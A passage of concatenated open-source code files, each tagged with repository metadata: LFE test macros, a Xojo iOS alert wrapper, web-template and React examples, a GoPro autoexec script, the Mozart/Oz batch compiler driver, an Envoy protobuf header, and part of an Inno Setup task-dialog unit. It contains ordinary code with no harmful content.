,expected-term ,expression))) ;;;=================================================================== ;;; Test object macros ;;;=================================================================== ;; Based on clojure.walk (eval-when-compile ;; FIXME: walk more data structures (defun walk ((inner outer form) (when (is_list form)) (funcall outer (lists:map inner form))) ((_inner outer form) (funcall outer form))) (defun postwalk (f form) ;; N.B. Due to implementation details, we can't use ;; (clj:partial #'postwalk/2 f) (walk (lambda (inner-form) (postwalk f inner-form)) f form)) (defun postwalk-replace (proplist form) (postwalk (lambda (|-X-|) (proplists:get_value |-X-| proplist |-X-|)) form)) (defun apply-template (arglist expr values) (orelse (is_list arglist) (error 'badarg (list arglist expr values))) (orelse (lists:all #'is_atom/1 arglist)) (postwalk-replace (lists:zip arglist values) expr)) ;; Based on #'clojure.template/do-template (defmacro do-template (`(,arglist ,expr . ,values) (let ((|-LEN-| (length arglist))) `(list ,@(lists:map (lambda (|-A-|) (apply-template arglist expr |-A-|)) (clj:partition |-LEN-| values)))))) ) ; end eval-when-compile (defmacro is* (bool-expression) "Return a test object that wraps [[is/1]]." `(_assert ,bool-expression)) ;; Based on #'clojure.test/are (defmacro are* ('(() ,expr) `(is* 'true)) (`(,arglist ,expr . ,args) `(do-template ,arglist (is ,expr) ,@args)) (_ (error 'badarg (list* arglist expr args)))) (defmacro is-not* (bool-expression) "Return a test object that wraps [[is-not/2]]." `(_assertNot ,bool-expression)) (defmacro is-match* (guard expression) "Return a test object that wraps [[is-match/2]]." `(_assertMatch ,guard ,expression)) (defmacro is-not-match* (guard expression) "The inverse case of [[is-match*/2]], for convenience." `(_assertMatch ,guard ,expression)) (defmacro is-equal* (value expression) "Return a test object to assert `expression` evaluates to `value`." `(_assertEqual ,value ,expression)) (defmacro is-not-equal* (value expression) "Return a test object to assert `expression` evaluates to `value`." `(_assertNotEqual ,value ,expression)) (defmacro is-exception* "Return a test object that wraps [[is-exception/3]]." (`(,expression) `(is-exception* _ _ ,expression)) (`(,expected-class ,expected-term ,expression) `(_assertException ,expected-class ,expected-term ,expression))) (defmacro is-not-exception* "The inverse case of [[is-exception*/3]], for convenience." (`(,expression) `(is-not-exception* _ _ ,expression)) (`(,expected-class ,expected-term ,expression) `(_assertNotException ,expected-class ,expected-term ,expression))) (defmacro is-error* "Return a test object that wraps [[is-error/2]]." (`(,expression) `(is-error* _ ,expression)) (`(,error ,body) `(_assertError ,error ,body))) (defmacro is-not-error* "Return a test object that wraps [[is-not-error/2]]." (`(,expression) `(is-not-error* _ ,expression)) (`(,error ,body) `(_test (is-not-error ,error ,body)))) (defmacro is-exit* "Return a test object that wraps [[is-exit/2]]" (`(,expression) `(is-exit* _ ,expression)) (`(,expected-term ,expression) `(_assertExit ,expected-term ,expression))) (defmacro is-not-exit* (expected-term expression) "Return a test object that wraps [[is-not-exit/2]]." (`(,expression) `(is-not-exit* _ ,expression)) (`(,expected-term ,body) `(_test (is-not-exit ,expected-term ,expression)))) (defmacro is-throw* (expected-term expression) "Return a test object that wraps [[is-throw/2]]." (`(,expression) `(is-throw* _ ,expression)) (`(,expected-term ,body) `(_assertThrow ,expected-term ,expression))) (defmacro is-not-throw* (expected-term expression) "Return a test object that wraps [[is-not-throw/2]]." (`(,expression) `(is-not-throw* _ ,expression)) (`(,expected-term ,body) `(_test (is-not-throw 'throw ,expected-term ,expression)))) (defun --loaded-ltest-macros-- () "This is just a dummy function for display purposes when including from the REPL (the last function loaded has its name printed in stdout). This function needs to be the last one in this include." 'ok)
LFE
5
ioolkos/ltest
include/ltest-macros.lfe
[ "BSD-3-Clause" ]
#tag Class Protected Class UIAlertController Inherits UIViewController #tag Method, Flags = &h0 Sub AddAction(action as UIAlertAction) declare sub addAction_ lib UIKitLib selector "addAction:" (obj_id as ptr, action as ptr) addAction_(self, action) End Sub #tag EndMethod #tag Method, Flags = &h0 Shared Function AlertControllerWithTitleMessagePreferredStyle(title as CFStringRef, message as CFStringRef, preferredStyle as UIAlertControllerStyle) As UIAlertController Declare Function alertControllerWithTitle_ Lib UIKitLib selector "alertControllerWithTitle:message:preferredStyle:" (clsRef As ptr, title As CFStringRef, message As CFStringRef, preferredStyle As UIAlertControllerStyle) As ptr Dim t As Text = title Dim m As Text = message If t.Empty = False And m.Empty = False Then Return New UIAlertController(alertControllerWithTitle_(ClassRef, title, message, preferredStyle)) Elseif t.Empty = False Then Return New UIAlertController(alertControllerWithTitle_(ClassRef, title, Nil, preferredStyle)) Elseif m.Empty = False Then Return New UIAlertController(alertControllerWithTitle_(ClassRef, title, message, preferredStyle)) Else Return New UIAlertController(alertControllerWithTitle_(ClassRef, Nil, Nil, preferredStyle)) End If End Function #tag EndMethod #tag Method, Flags = &h21 Private Shared Function ClassRef() As Ptr static ref as ptr = NSClassFromString("UIAlertController") return ref End Function #tag EndMethod #tag Method, Flags = &h21 Private Sub CompHandler() End Sub #tag EndMethod #tag Method, Flags = &h1021 Private Sub Constructor() // Calling the overridden superclass constructor. // Note that this may need modifications if there are multiple constructor choices. // Possible constructor calls: // Constructor() -- From NSObject // Constructor(ref as ptr) -- From NSObject 'Super.Constructor End Sub #tag EndMethod #tag Method, Flags = &h0 Sub Dismiss() declare sub dismissViewControllerAnimated_ lib UIKitLib selector "dismissViewControllerAnimated:completion:" (obj_id as ptr, flag as Boolean, completion as ptr) dismissViewControllerAnimated_(mParentView.ViewControllerHandle, True, nil) mParentView = nil End Sub #tag EndMethod #tag Method, Flags = &h0 Sub PresentInView(parentView as iOSView) declare sub presentViewController_ lib UIKitLib selector "presentViewController:animated:completion:" (obj_id as ptr, viewCtrlr as ptr, animated as Boolean, compHandler as ptr) dim blk as new iOSBlock(AddressOf CompHandler) mParentView = parentView presentViewController_(parentView.ViewControllerHandle, self, True, blk.Handle) End Sub #tag EndMethod #tag ComputedProperty, Flags = &h0 #tag Getter Get declare function actions_ lib UIKitLib selector "actions" (obj_id as ptr) as ptr Return new NSArray(actions_(self)) End Get #tag EndGetter actions As NSArray #tag EndComputedProperty #tag ComputedProperty, Flags = &h0 #tag Getter Get declare function message_ lib UIKitLib selector "message" (obj_id as ptr) as CFStringRef Return message_(self) End Get #tag EndGetter #tag Setter Set declare sub message_ lib UIKitLib selector "setMessage:" (obj_id as ptr, message as CFStringRef) message_(self, value) End Set #tag EndSetter message As Text #tag EndComputedProperty #tag Property, Flags = &h21 Private mParentView As iOSView #tag EndProperty #tag ComputedProperty, Flags = &h0 #tag Getter Get declare function preferredStyle_ lib UIKitLib selector "preferredStyle" (obj_id as ptr) as UIAlertControllerStyle Return (preferredStyle_(self)) End Get #tag EndGetter preferredStyle As UIAlertControllerStyle #tag EndComputedProperty #tag ComputedProperty, Flags = &h0 #tag Getter Get declare function textFields_ lib UIKitLib selector "textFields" (obj_id as ptr) as ptr Return new NSArray(textFields_(self)) End Get #tag EndGetter textFields As NSArray #tag EndComputedProperty #tag ComputedProperty, Flags = &h0 #tag Getter Get declare function title_ lib UIKitLib selector "title" (obj_id as ptr) as CFStringRef Return title_(self) End Get #tag EndGetter #tag Setter Set declare sub title_ lib UIKitLib selector "setTitle:" (obj_id as ptr, title as CFStringRef) title_(self, value) End Set #tag EndSetter title As Text #tag EndComputedProperty #tag Enum, Name = UIAlertControllerStyle, Type = Integer, Flags = &h0 ActionSheet = 0 Alert = 1 #tag EndEnum #tag ViewBehavior #tag ViewProperty Name="modalPresentationStyle" Visible=false Group="Behavior" InitialValue="" Type="UIModalPresentationStyle" EditorType="Enum" #tag EnumValues "0 - Fullscreen" "1 - PageSheet" "2 - FormSheet" "3 - CurrentContext" "4 - Custom" "5 - OverFullScreen" "6 - OverCurrentContext" "7 - Popover" "-1 - None" #tag EndEnumValues #tag EndViewProperty #tag ViewProperty Name="automaticallyAdjustsScrollViewInsets" Visible=false Group="Behavior" InitialValue="" Type="Boolean" EditorType="" #tag EndViewProperty #tag ViewProperty Name="definesPresentationContext" Visible=false Group="Behavior" InitialValue="" Type="Boolean" EditorType="" #tag EndViewProperty #tag ViewProperty Name="editing" Visible=false Group="Behavior" InitialValue="" Type="Boolean" EditorType="" #tag EndViewProperty #tag ViewProperty Name="extendedLayoutIncludesOpaqueBars" Visible=false Group="Behavior" InitialValue="" Type="Boolean" EditorType="" #tag EndViewProperty #tag ViewProperty Name="hidesBottomBarWhenPushed" Visible=false Group="Behavior" InitialValue="" Type="Boolean" EditorType="" #tag EndViewProperty #tag ViewProperty Name="Index" Visible=true Group="ID" InitialValue="-2147483648" Type="Integer" EditorType="" #tag EndViewProperty #tag ViewProperty Name="Left" Visible=true Group="Position" InitialValue="0" Type="Integer" EditorType="" #tag EndViewProperty #tag ViewProperty Name="message" Visible=false Group="Behavior" InitialValue="" Type="Text" EditorType="" #tag EndViewProperty #tag ViewProperty Name="modalInPopover" Visible=false Group="Behavior" InitialValue="" Type="Boolean" EditorType="" #tag EndViewProperty #tag ViewProperty Name="modalPresentationCapturesStatusBarAppearance" Visible=false Group="Behavior" InitialValue="" Type="Boolean" EditorType="" #tag EndViewProperty #tag ViewProperty Name="Name" Visible=true Group="ID" InitialValue="" Type="String" EditorType="" #tag EndViewProperty #tag ViewProperty Name="preferredStyle" Visible=false Group="Behavior" InitialValue="" Type="UIAlertControllerStyle" EditorType="Enum" #tag EnumValues "0 - ActionSheet" "1 - Alert" #tag EndEnumValues #tag EndViewProperty #tag ViewProperty Name="providesPresentationContextTransitionStyle" Visible=false Group="Behavior" InitialValue="" Type="Boolean" EditorType="" #tag EndViewProperty #tag ViewProperty Name="Super" Visible=true Group="ID" InitialValue="" Type="String" EditorType="" #tag EndViewProperty #tag ViewProperty Name="title" Visible=false Group="Behavior" InitialValue="" Type="Text" EditorType="" #tag EndViewProperty #tag ViewProperty Name="Top" Visible=true Group="Position" InitialValue="0" Type="Integer" EditorType="" #tag EndViewProperty #tag EndViewBehavior End Class #tag EndClass
Xojo
4
kingj5/iOSKit
Modules/UIKit/UIAlertController.xojo_code
[ "MIT" ]
-@val body: String -@val s: skinny.Skinny !!! 5 %html(lang="en") %head %meta(charset="utf-8") != s.csrfMetaTags %script(type="text/javascript" src="//codeorigin.jquery.com/jquery-2.0.3.min.js") %link(rel="stylesheet" href="//netdna.bootstrapcdn.com/bootstrap/3.0.1/css/bootstrap.min.css") %body = "!!!bar!!!!!!!!!" %div.container.span12 =unescape(body) %script(type="text/javascript" src="//netdna.bootstrapcdn.com/bootstrap/3.0.1/js/bootstrap.min.js") %script(type="text/javascript" src={uri("/assets/js/skinny-framework.js")})
Scaml
3
lloydmeta/skinny-framework
example/src/main/webapp/WEB-INF/layouts/bar.scaml
[ "MIT" ]
# {partition-string} = require \prelude-extension # {HighlightedText, SimpleSelect} = require \ReactSelectize create-react-class = require \create-react-class Form = create-react-class do # render :: a -> ReactElement render: -> React.create-element SimpleSelect, # we use state for search, so we can access it inside the options map function below search: @state.search on-search-change: (search) ~> @set-state {search} # the partition-string method from prelude-extension library has the following signature: # paritition-string :: String -> String -> [[Int, Int, Boolean]] options: <[apple mango grapes melon strawberry]> |> map ~> label: it, value: it, label-partitions: partition-string it, @state.search # we add the search to the uid property of each option # to re-render it whenever the search changes # uid :: (Equatable e) => Item -> e uid: ~> "#{it.value}#{@state.search}" # here we use the HighlightedText component to render the result of partition-string # render-option :: Item -> ReactElement render-option: ({label, label-partitions}) ~> div class-name: \simple-option, React.create-element HighlightedText, partitions: label-partitions, text: label highlight-style: background-color: "rgba(255,255,0,0.4)" font-weight: \bold placeholder: "Select a fruit" # get-initial-state :: a -> UIState get-initial-state: -> search: "" render (React.create-element Form, null), mount-node
LiveScript
5
rodcope1/react-selectize-rodcope1
public/examples/simple/SearchHighlighting.ls
[ "Apache-2.0" ]
sleep 1 t api app mode_sub_mode photo single sleep 1 t api photo protune on t api photo protune_ev HIGHEXP sleep 1 t api system button shutter press sleep 1 t api system button shutter release sleep 3 t api photo protune_ev 0 sleep 1 t api system button shutter press sleep 1 t api system button shutter release sleep 3 t api photo protune_ev LOWEXP sleep 1 t api system button shutter press sleep 1 t api system button shutter release
AGS Script
3
waltersgrey/autoexechack
HERO4/HDR/autoexec.ash
[ "MIT" ]
%%% %%% Author: %%% Leif Kornstaedt <kornstae@ps.uni-sb.de> %%% %%% Copyright: %%% Leif Kornstaedt, 1998-2001 %%% %%% Last change: %%% $Date$ by $Author$ %%% $Revision$ %%% %%% This file is part of Mozart, an implementation of Oz 3: %%% http://www.mozart-oz.org %%% %%% See the file "LICENSE" or %%% http://www.mozart-oz.org/LICENSE.html %%% for information on usage and redistribution %%% of this file, and for a DISCLAIMER OF ALL %%% WARRANTIES. %%% functor import Module Property(get put) System(printInfo printError) Error(messageToVirtualString) OS(putEnv getEnv system) Open(file) Pickle(saveWithHeader) Compiler(engine interface) Application(getArgs exit) prepare UsageError = 'command line option error' BatchCompilationError = 'batch compilation error' OptSpecs = record(%% mode in which to run mode(single type: atom(help core scode ecode execute dump executable) default: execute) help(char: [&h &?] alias: mode#help) core(char: &E alias: mode#core) scode(char: &S alias: mode#scode) ecode(char: &s alias: mode#ecode) execute(char: &e alias: mode#execute) dump(char: &c alias: mode#dump) executable(char: &x alias: mode#executable) %% options valid in all modes verbose(rightmost char: &v type: bool default: auto) quiet(rightmost char: &q alias: verbose#false) makedepend(rightmost char: &M default: false) %% options for individual modes outputfile(single char: &o type: string default: unit) target(rightmost type: atom(unix windows) default: unit) unix(alias: target#unix) windows(alias: target#windows) execheader(single type: string validate: alt(when(disj(execpath execfile execwrapper) false))) execpath(single type: string validate: alt(when(disj(execheader execfile execwrapper) false))) execfile(single type: string validate: alt(when(disj(execheader execpath execwrapper) false))) execwrapper(single type: string validate: alt(when(disj(execheader execpath execfile) false))) compress(rightmost char: &z type: int(min: 0 max: 9) default: 0) %% %% between all of the following, order is important %% %% preparing the compiler state 'define'(char: &D type: list(atom)) undefine(char: &U type: list(atom)) environment(char: &l type: list(string)) incdir(char: &I type: string) include(type: string) %% compiler switches compilerpasses(type: bool) showinsert(type: bool) echoqueries(type: bool) showdeclares(type: bool) watchdog(type: bool) warnredecl(type: bool) warnshadow(type: bool) warnunused(type: bool) warnunusedformals(type: bool) warnforward(type: bool) warnopt(type: bool) expression(type: bool) allowdeprecated(type: bool) gump(type: bool) gumpscannerbestfit(type: bool) gumpscannercaseless(type: bool) gumpscannernowarn(type: bool) gumpscannerbackup(type: bool) gumpscannerperfreport(type: bool) gumpscannerstatistics(type: bool) gumpparseroutputsimplified(type: bool) gumpparserverbose(type: bool) staticanalysis(type: bool) realcore(type: bool) debugvalue(type: bool) debugtype(type: bool) recordhoist(type: bool) profile(char: &p type: bool) controlflowinfo(type: bool) staticvarnames(type: bool) debuginfo(char: &g alias: [controlflowinfo#true staticvarnames#true]) dynamicvarnames(type: bool) %% compiler options maxerrors(type: int) baseurl(char: &b type: string) gumpdirectory(single type: string default: unit)) Usage = 'You have to choose one of the following modes of operation:\n'# '-h, -?, --help Output usage information and exit.\n'# '-e, --execute, --mode=execute Compile and execute a statement.\n'# ' This is the default mode.\n'# '-c, --dump, --mode=dump Compile and evaluate an expression,\n'# ' pickling the result\n'# ' (file extension: .ozf).\n'# '-x, --executable, --mode=executable\n'# ' Compile and evaluate an expression,\n'# ' making result executable\n'# ' (file extension: none).\n'# '-E, --core, --mode=core Compile a statement to core language\n'# ' (file extension: .ozi).\n'# '-S, --scode, --mode=scode Compile a statement to assembly code\n'# ' (file extension: .ozm).\n'# '-s, --ecode, --mode=ecode Compile an expression to assembly code\n'# ' (file extension: .ozm).\n'# '\n'# 'Additionally, you may specify the following options:\n'# '-v, --verbose Display all compiler messages.\n'# '-q, --quiet Inhibit compiler messages\n'# ' unless an error is encountered.\n'# '-M, --makedepend Instead of executing, write a list\n'# ' of dependencies to stdout.\n'# '-o FILE, --outputfile=FILE Write output to FILE (`-\' for stdout).\n'# '--execheader=STR Use header STR for executables\n'# ' (Unix default:\n'# ' "#!/bin/sh\\nexec ozengine $0 "$@"\\n").\n'# '--execpath=STR Use above header, with ozengine\n'# ' replaced by STR.\n'# '--execfile=FILE Use contents of FILE as header\n'# ' (Windows default:\n'# ' <ozhome>/bin/ozwrapper.bin).\n'# '--execwrapper=FILE Use above header, with ozwrapper.bin\n'# ' replaced by STR.\n'# '--target=(unix|windows) when creating an executable functor, do\n'# ' it for this platform (default current).\n'# '-z N, --compress=N Use compression level N for pickles.\n'# '-D NAME, --define=NAME Define macro name NAME.\n'# '-U NAME, --undefine=NAME Undefine macro name NAME.\n'# '-l FNCS, --environment=FNCS Make functors FNCS (a comma-separated\n'# ' pair list VAR=URL) available in the\n'# ' environment.\n'# '-I DIR, --incdir=DIR Add DIR to the head of OZPATH.\n'# '--include=FILE Compile and execute the statement in FILE\n'# ' before processing the remaining options.\n'# '\n'# 'The following compiler switches have the described effects when set:\n'# %% Note that the remaining options are not documented here on purpose. '--(no)compilerpasses Show compiler passes.\n'# '--(no)warnredecl Warn about top-level redeclarations.\n'# '--(no)warnshadow Warn about all redeclarations.\n'# '--(no)warnunused Warn about unused variables.\n'# '--(no)warnunusedformals Warn about unused variables and formals.\n'# '--(no)warnforward Warn about oo forward declarations.\n'# '--(no)warnopt Warn about missed optimizations.\n'# '--(no)expression Expect expressions, not statements.\n'# '--(no)allowdeprecated Allow use of deprecated syntax.\n'# '--(no)gump Allow Gump definitions.\n'# '--(no)staticanalysis Run static analysis.\n'# '--(no)realcore Output the real non-fancy core syntax.\n'# '--(no)debugvalue Annotate variable values in core output.\n'# '--(no)debugtype Annotate variable types in core output.\n'# '-p, --(no)profile Include profiling information.\n'# '--(no)controlflowinfo Include control flow information.\n'# '--(no)staticvarnames Include static variable name information.\n'# '-g, --(no)debuginfo The two switches above.\n'# '--(no)dynamicvarnames Dynamically assign variable names.\n'# '\n'# 'The following compiler options can be set:\n'# '--maxerrors=N Limit the number of errors reported to N.\n'# '--baseurl=STRING Set the base URL to resolve imports of\n'# ' computed functors to STRING.\n'# '--gumpdirectory=STRING Set the directory where Gump will create\n'# ' its output files to STRING.\n' define Platform = {Property.get 'platform.os'} fun {MakeExecHeader Path} '#!/bin/sh\nexec '#Path#' "$0" "$@"\n' end fun {MakeExecFile File} {Property.get 'oz.home'}#'/bin/'#File end DefaultExecWindows = file({MakeExecFile 'ozwrapper.bin'}) DefaultExecUnix = string({MakeExecHeader 'ozengine'}) DefaultExec = case Platform of win32 then DefaultExecWindows else DefaultExecUnix end local fun {IsIDChar C} {Char.isAlNum C} orelse C == &_ end fun {IsQuotedVariable S} case S of C1|Cr then if C1 == &` andthen Cr == nil then true elseif C1 == 0 then false else {IsQuotedVariable Cr} end [] nil then false end end fun {IsPrintName X} {IsAtom X} andthen local S = {Atom.toString X} in case S of C|Cr then case C of &` then {IsQuotedVariable Cr} else {Char.isUpper C} andthen {All Cr IsIDChar} end [] nil then false end end end ModMan = {New Module.manager init()} in proc {IncludeFunctor S Compiler} Var URL VarAtom Export in {String.token S &= ?Var ?URL} VarAtom = {String.toAtom Var} Export = case URL of nil then {ModMan link(name: Var $)} else {ModMan link(url: URL $)} end if {IsPrintName VarAtom} then {Compiler enqueue(mergeEnv(env(VarAtom: Export)))} else {Report error(kind: UsageError msg: 'illegal variable identifier `'#Var#'\' specified' items: [hint(l: 'Hint' m: ('Use --help to obtain '# 'usage information'))])} end {Compiler enqueue(mergeEnv({Record.filterInd Export fun {$ P _} {IsPrintName P} end}))} end end local fun {NotIsDirSep C} C \= &/ andthen (Platform \= win32 orelse C \= &\\) end fun {ChangeExtensionSub S NewExt} case S of ".oz" then NewExt elseof ".ozg" then NewExt elseof C|Cr then C|{ChangeExtensionSub Cr NewExt} [] nil then NewExt end end in fun {ChangeExtension S NewExt} {ChangeExtensionSub {Reverse {List.takeWhile {Reverse S} NotIsDirSep}} NewExt} end fun {Dirname S} case S of stdout then unit else {Reverse {List.dropWhile {Reverse S} NotIsDirSep}} end end end proc {ReadFile File ?VS} F in F = {New Open.file init(name: File flags: [read])} {F read(list: ?VS size: all)} {F close()} end proc {Report E} {System.printError {Error.messageToVirtualString E}} raise error end end in try OptRec BatchCompiler UI IncDir FileNames in try OptRec = {Application.getArgs OptSpecs} catch error(ap(usage VS) ...) then {Report error(kind: UsageError msg: VS items: [hint(l: 'Hint' m: ('Use --help to obtain '# 'usage information'))])} end case OptRec.mode of help then X in X = {Property.get 'application.url'} {System.printInfo 'Usage: '#X#' { [option] | [file] }\n'#Usage} raise success end else skip end BatchCompiler = {New Compiler.engine init()} UI = {New Compiler.interface init(BatchCompiler OptRec.verbose)} {BatchCompiler enqueue(setSwitch(showdeclares false))} {BatchCompiler enqueue(setSwitch(threadedqueries false))} IncDir = {NewCell nil} FileNames = {Filter OptRec.1 fun {$ Y} case Y of Opt#X then case Opt of 'define' then {ForAll X proc {$ D} {BatchCompiler enqueue(macroDefine(D))} end} [] undefine then {ForAll X proc {$ D} {BatchCompiler enqueue(macroUndef(D))} end} [] environment then {ForAll X proc {$ S} {IncludeFunctor S BatchCompiler} end} [] incdir then {Assign IncDir X|{Access IncDir}} [] include then {BatchCompiler enqueue(pushSwitches())} {BatchCompiler enqueue(setSwitch(feedtoemulator true))} {BatchCompiler enqueue(feedFile(X return))} {BatchCompiler enqueue(popSwitches())} {UI sync()} if {UI hasErrors($)} then raise error end end [] maxerrors then {BatchCompiler enqueue(setMaxNumberOfErrors(X))} [] baseurl then {BatchCompiler enqueue(setBaseURL(X))} elseof SwitchName then {BatchCompiler enqueue(setSwitch(SwitchName X))} end false else true end end} {OS.putEnv 'OZPATH' {FoldL {Access IncDir} fun {$ In S} {Append S case Platform of win32 then &; else &: end|In} end case {OS.getEnv 'OZPATH'} of false then "." elseof S then S end}} if FileNames == nil then {Report error(kind: UsageError msg: 'no input files given' items: [hint(l: 'Hint' m: ('Use --help to obtain '# 'usage information'))])} elseif OptRec.outputfile \= "-" andthen OptRec.outputfile \= unit andthen {Length FileNames} > 1 then {Report error(kind: UsageError msg: ('only one input file allowed when '# 'an output file name is given'))} else {ForAll FileNames proc {$ Arg} OFN GumpDir R in {UI reset()} case OptRec.outputfile of unit then case OptRec.mode of core then OFN = {ChangeExtension Arg ".ozi"} [] scode then OFN = {ChangeExtension Arg ".ozm"} [] ecode then OFN = {ChangeExtension Arg ".ozm"} [] execute then if OptRec.makedepend then {Report error(kind: UsageError msg: ('--makedepend with --execute '# 'needs an --outputfile'))} end OFN = unit [] dump then OFN = {ChangeExtension Arg ".ozf"} [] executable then ExeExt in ExeExt = case OptRec.target of unix then "" [] windows then ".exe" elsecase Platform of win32 then ".exe" else "" end OFN = {ChangeExtension Arg ExeExt} end elseof "-" then if OptRec.mode == dump orelse OptRec.mode == executable then {Report error(kind: UsageError msg: 'dumping to stdout is not possible')} else OFN = stdout end else if OptRec.mode == execute andthen {Not OptRec.makedepend} then {Report error(kind: UsageError msg: ('no output file name must be '# 'specified for --execute'))} else OFN = OptRec.outputfile end end GumpDir = case OptRec.gumpdirectory of unit then case OFN of unit then unit elsecase {Dirname OFN} of "" then unit elseof Dir then Dir end elseof Dir then Dir end {BatchCompiler enqueue(setGumpDirectory(GumpDir))} {BatchCompiler enqueue(pushSwitches())} if OptRec.makedepend then {BatchCompiler enqueue(setSwitch(unnest false))} end case OptRec.mode of core then {BatchCompiler enqueue(setSwitch(core true))} {BatchCompiler enqueue(setSwitch(codegen false))} [] scode then {BatchCompiler enqueue(setSwitch(outputcode true))} {BatchCompiler enqueue(setSwitch(feedtoemulator false))} [] ecode then {BatchCompiler enqueue(setSwitch(outputcode true))} {BatchCompiler enqueue(setSwitch(expression true))} {BatchCompiler enqueue(setSwitch(feedtoemulator false))} [] execute then {BatchCompiler enqueue(setSwitch(feedtoemulator true))} else % dump, executable {BatchCompiler enqueue(setSwitch(expression true))} {BatchCompiler enqueue(setSwitch(feedtoemulator true))} end {BatchCompiler enqueue(feedFile(Arg return(result: ?R)))} {BatchCompiler enqueue(popSwitches())} {UI sync()} if {UI hasErrors($)} then raise error end end if OptRec.makedepend then File VS in File = {New Open.file init(name: stdout flags: [write])} VS = (OFN#':'# case {UI getInsertedFiles($)} of Ns=_|_ then {FoldL Ns fun {$ In X} In#' \\\n\t'#X end ""} [] nil then "" end#'\n') {File write(vs: VS)} {File close()} else case OptRec.mode of dump then {Pickle.saveWithHeader R OFN '' OptRec.compress} [] executable then Exec Exec2 in if {Functor.is R} then skip else {Report error(kind: BatchCompilationError msg: 'only functors can be made executable' items: [hint(l: 'Value found' m: oz(R))])} end Exec = case {CondSelect OptRec execheader unit} of unit then case {CondSelect OptRec execpath unit} of unit then case {CondSelect OptRec execfile unit} of unit then case {CondSelect OptRec execwrapper unit} of unit then case OptRec.target of unix then DefaultExecUnix [] windows then DefaultExecWindows else DefaultExec end elseof S then file({MakeExecFile S}) end elseof S then file(S) end elseof S then string({MakeExecHeader S}) end elseof S then string(S) end Exec2 = case Exec of file(S) then {ReadFile S} [] string(S) then S end {Pickle.saveWithHeader R OFN Exec2 OptRec.compress} case Platform of win32 then skip elsecase {OS.system 'chmod +x '#OFN} of 0 then skip elseof N then {Report error(kind: BatchCompilationError msg: 'failed to make output file executable' items: [hint(l: 'Error code' m: N)])} end [] execute then skip else File in % core, scode, ecode File = {New Open.file init(name: OFN flags: [write create truncate])} {File write(vs: {UI getSource($)})} {File close()} end end end} end raise success end catch error then {Application.exit 1} [] success then {Application.exit 0} end end
Oz
4
Ahzed11/mozart2
lib/main/ozbatch/Compile.oz
[ "BSD-2-Clause" ]
// input: [] // output: 0 package { public class ClassConstruction { public static function main():int{ var f:Foo = new Foo(); return 0; } } } class Foo { }
ActionScript
1
hackarada/youtube-dl
test/swftests/ClassConstruction.as
[ "Unlicense" ]
#pragma once #include <algorithm> #include <string> #include <vector> #include "envoy/common/platform.h" #include "google/protobuf/any.pb.h" #include "google/protobuf/descriptor.h" #include "google/protobuf/descriptor.pb.h" #include "google/protobuf/descriptor_database.h" #include "google/protobuf/dynamic_message.h" #include "google/protobuf/empty.pb.h" #include "google/protobuf/io/coded_stream.h" #include "google/protobuf/io/zero_copy_stream.h" #include "google/protobuf/io/zero_copy_stream_impl.h" #include "google/protobuf/map.h" #include "google/protobuf/message.h" #include "google/protobuf/repeated_field.h" #include "google/protobuf/service.h" #include "google/protobuf/struct.pb.h" #include "google/protobuf/stubs/status.h" #include "google/protobuf/stubs/statusor.h" #include "google/protobuf/text_format.h" #include "google/protobuf/util/field_mask_util.h" #include "google/protobuf/util/json_util.h" #include "google/protobuf/util/message_differencer.h" #include "google/protobuf/util/time_util.h" #include "google/protobuf/util/type_resolver.h" #include "google/protobuf/util/type_resolver_util.h" #include "google/protobuf/wrappers.pb.h" namespace Envoy { // All references to google::protobuf in Envoy need to be made via the // Envoy::Protobuf namespace. This is required to allow remapping of protobuf to // alternative implementations during import into other repositories. E.g. at // Google we have more than one protobuf implementation. namespace Protobuf = google::protobuf; // Allows mapping from google::protobuf::util to other util libraries. namespace ProtobufUtil = google::protobuf::util; // Protobuf well-known types (WKT) should be referenced via the ProtobufWkt // namespace. namespace ProtobufWkt = google::protobuf; // Alternative protobuf implementations might not have the same basic types. // Below we provide wrappers to facilitate remapping of the type during import. namespace ProtobufTypes { using MessagePtr = std::unique_ptr<Protobuf::Message>; using ConstMessagePtrVector = std::vector<std::unique_ptr<const Protobuf::Message>>; using Int64 = int64_t; } // namespace ProtobufTypes } // namespace Envoy
C
4
dcillera/envoy
source/common/protobuf/protobuf.h
[ "Apache-2.0" ]
2016-03-03 18:25:03 > fsociety (whoami@localhost) has joined #unreal4 2016-03-03 18:25:03 - Channel #unreal4: 2 nicks (2 ops, 0 halfops, 0 voices, 0 normals)
IRC log
0
0x4b1dN/2016-dots
misc/weechat/logs/irc.bitlbee.#unreal4.weechatlog
[ "MIT" ]
make a : Set ; out ; make f : a -> a ; lambda x ; give x
PigLatin
1
mietek/epigram
test/Script.pig
[ "MIT" ]
unit TaskDialog; { Inno Setup Copyright (C) 1997-2020 Jordan Russell Portions by Martijn Laan For conditions of distribution and use, see LICENSE.TXT. TaskDialogMsgBox function integrating with CmnFunc's MsgBox functions } interface uses Windows, CmnFunc; function TaskDialogMsgBox(const Icon, Instruction, Text, Caption: String; const Typ: TMsgBoxType; const Buttons: Cardinal; const ButtonLabels: array of String; const ShieldButton: Integer; const VerificationText: String = ''; const pfVerificationFlagChecked: PBOOL = nil): Integer; implementation uses Classes, StrUtils, Math, Forms, Dialogs, SysUtils, Commctrl, CmnFunc2, InstFunc, PathFunc; var TaskDialogIndirectFunc: function(const pTaskConfig: TTaskDialogConfig; pnButton: PInteger; pnRadioButton: PInteger; pfVerificationFlagChecked: PBOOL): HRESULT; stdcall; function ShieldButtonCallback(hwnd: HWND; msg: UINT; wParam: WPARAM; lParam: LPARAM; lpRefData: LONG_PTR): HResult; stdcall; begin if (msg = TDN_CREATED) and (lpRefData <> 0) then SendMessage(hwnd, TDM_SET_BUTTON_ELEVATION_REQUIRED_STATE, lpRefData, 1); Result := S_OK; end; function DoTaskDialog(const hWnd: HWND; const Instruction, Text, Caption, Icon: PWideChar; const CommonButtons: Cardinal; const ButtonLabels: array of String; const ButtonIDs: array of Integer; const ShieldButton: Integer; const RightToLeft: Boolean; const TriggerMessageBoxCallbackFuncFlags: LongInt; var ModalResult: Integer; const VerificationText: PWideChar; const pfVerificationFlagChecked: PBOOL): Boolean; var Config: TTaskDialogConfig; NButtonLabelsAvailable: Integer; ButtonItems: TTaskDialogButtons; ButtonItem: TTaskDialogButtonItem; I: Integer; ActiveWindow: Windows.HWND; WindowList: Pointer; begin if Assigned(TaskDialogIndirectFunc) then begin ZeroMemory(@Config, Sizeof(Config)); Config.cbSize := SizeOf(Config); if RightToLeft then Config.dwFlags := Config.dwFlags or TDF_RTL_LAYOUT; { If the application window isn't currently visible, show the task dialog with no owner window so it'll get a taskbar button } 